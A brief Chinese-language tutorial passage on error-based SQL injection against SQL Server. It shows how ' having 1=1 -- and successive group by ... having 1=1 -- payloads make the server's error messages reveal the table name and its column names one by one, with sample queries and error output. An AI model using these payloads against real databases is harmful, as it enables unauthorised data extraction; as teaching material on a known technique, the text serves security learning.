Sql server数据库注入
Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。
(1)枚举当前表及列
查询root用户的详细信息,SQL语句如下:
select * from users where username=’root’
利用SQL server特性来获取敏感信息,例如:
‘ having 1=1 —
最终执行SQL语句:
select * from users where username=’root’ and password=’root’ having 1=1 —
那么sql执行器将会抛出一个错误(因为版本的问题,显示的错误信息也不尽相同)
消息 8120,级别 16,状态1,第2行
选择列表中的列“users.id”无效,因为该列灭有包含在聚合函数或Group by子句中。
由此可以发现当前表名为users,并且存在“id”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:
select * from users where username=”root” and password=’root’ group by users.id having 1=1 —
执行器提示错误信息:
消息 8120,级别16,状态1,第一行
选择列表中的列’users.username’无效,因为该列没有包含在聚合函数或group by字句中。
可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having字句“查询”出单前表中的所有列名。